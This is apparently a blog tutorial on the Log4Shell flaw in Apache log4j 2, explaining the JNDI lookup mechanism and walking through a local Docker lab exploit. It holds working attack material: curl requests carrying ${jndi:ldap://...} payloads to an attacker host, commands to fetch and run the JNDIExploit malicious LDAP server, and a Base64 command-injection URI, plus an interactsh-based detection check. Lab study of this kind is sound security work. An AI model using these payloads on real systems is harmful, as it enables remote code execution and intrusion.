Testing Log4J Remote Code Execution
André Eichhofer
Introduction
A vulnerability in the Java logging libraray log4j
(version 2) allows Log File Poisoning and results in a Remode Code Execution. Affected version is 2.0-beta9 <= Apache log4j <= 2.14.1
. The vulnerability can be exploited by sending a request to the vulnerable server, which contains a link to an attack server. When the request will be logged, the victim server connects to an attack server. Then the attack server sends malicious code which is executed on the victim server.
To exploit the vulnerability you need
- a vulnerable server running
Log4j
- send a malicious request to the victim server
- run a malicious attack server which sends the code to the victim server
How the vulnerability works
Log4j is a Java library which is used for logging events, for example user access to a resource on server. Then, the log file will be written to the server file system or the event will be written into the log file.
A feature of Log4j is that it logs expressions and uses variables. These variables are the displayed in the log file.
Example:
logger.info("User {} has logged in using ID {}", map.get("Name"), user.getID());
Another feature of Log4j is that it makes use of Java Naming and Directory Interface (JNDI). This is a Java API for directory services. JNDI allows Java to lookup for data (in the form of Java objects) via a name service, like LDAP. So, a Java application can connect to an LDAP server to load external resources.
Example:
jndi:ldap://192.168.178.20:8000/O=username; C=US
In the example, JNDI would look up for a user profile in an LDAP directory and load the resource as an Java object.
Another feature of Log4j is, that it allows JNDI lookups from log messages. This would allow an attacker to inject a malicious url into a log file and trigger a JNDI lookup.
Example: Log4j loos for a string and inserts the string into the log
logger.error("Lookup value and insert: {}", "Hello, World");
This would insert the string “Hello, world” into the curlies and print it to the log file.
Example: Insert an JNDI expression
logger.error("Lookup value and insert: {}, "${jndi:ldap://attacker.com/bad/code}");
As a result, Log4j would make an JNDI lookup from the log file and load the bad code from the LDAP url as a serialised Java object. The malicious Java object would then be executed on the server.
Example:
¯¯¯¯¯¯¯¯¯¯¯¯
Pass malicious code into a vulnerable web application which uses Log4j:
┌─────────────────────────────┐
│ User agent │
└──────────────┬──────────────┘
│
│
│ Search term:
│
│ ${jndi:ldap://attacker.com/bad/code}
▼
┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
│ ┌─────────────────────────────┐ │
│ Vulnerable Web Application │
│ │ │ │ ┌────────────────────────────────────┐
│ ┌───────────────┐ │ │ │
│ │ │ Search bar │ │ │ JNDI lookup │ │
│ └───────────────┘ │ │ │
│ │ │ │ ─────────────────────────▶ │ │
│ │ │ Attacker Server │
│ └─────────────────────────────┘ │ │ │
│ ◀───────────────────────── │ ldap://attacker.com/bad/code │
│ │ │ │ │
│ Logs request Serialised malicious │ │
│ │ │ Java object │ │
▼ │ │
│ ┌──────────────────────────────┐ │ │ │
│ Log file │ └────────────────────────────────────┘
│ │ │ │
│${jndi:ldap://attacker.com/bad│
│ │ /code} │ │
└──────────────────────────────┘
│ │
─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─
-
The attacker sends a malicious request to the vulnerable server:
Example:
curl vulnerable.com -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/}'
-
The vulnerable web application writes the request into the log file
Example source code:
@RestController public class MainController { private static final Logger logger = LogManager.getLogger("HelloWorld"); @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); return "Hello, world!"; } }
Note, that the source code uses the parameter
apiVersion
which is equal toRequestHeader("X-Api-Version")
. The content ofRequestHeader
was set to${jndi:ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/}
in the request from Step 1, which triggers the JNDI lookup from the log file.Note: For exploitation of you must use the correct parameter which is logged by the vulnerable application.
-
Log4j makes a JNDI lookup and visits the malicius url
ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/
-
The attacker server sends back a Java object and executes the command
touch /tmp/pwnd
on the victim server
How to exploit the vulnerability
To exploit and test the vulnerability you will need
- a vulnerable java application running
Log4j
- an attack server running a malicious LDAP server
- perform a malicious request to the vulnerable java application
-
Vulnerable Java application
To test the vulnerablity you must run the Java application. You can get the example application here:
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
The app will run in a docker container on a local victim host.
-
Malicious LDAP server
You need to set up a malicious LDAP server on a second host, which acts as the attack server. You can get the server here, for example
wget https://web.archive.com/github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i attack_server_ip -p 8888
-
Perform request to vulnerable app
Perform a request to the server where the vulnerable app is running:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
The Base64 encoded string
dG91Y2ggL3RtcC9wd25lZAo=
is the commandtouch /tmp/pwned.txt
which will be executed on the victim server.Note: The creation of the malicious code (
touch /tmp/pwned.txt
) is a functionality of the LDAP server. Under the uriBasic/Command/Base64/
the LDAP server runs an engine to create any code which is submitted and encoded as Base64. So, you can create arbitrary code, encode it as Base64 and paste it into the uri.
To confirm that the code execution was successful, notice that the file /tmp/pwned.txt
was created in the container running the vulnerable application:
$ docker exec vulnerable-app ls /tmp
...
pwned.txt
...
Additionally, you can lookup the logs of the docker container:
docker logs <container_name>
...
2021-12-19 20:27:11.557 INFO 1 --- [nio-8080-exec-4] HelloWorld : Received a request for API version ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
How to test for the vulnerability
You can find out whether the application is vulnerable by testing if the application makes a DNS request to a remote server.
-
Visit app.interactsh.com
-
Copy the domain name and perform a request similar to:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://cljkfalwjfpq3315jkj3415j.interactsh.com/a}'
-
Inspect the DNS request at app.interactsh.com. Additionally, you can inspect Docker log file if you’re testing from a localhost.
More
github.com/christophetd/log4shell-vulnerable-app
github.com/pimps/JNDI-Exploit-Kit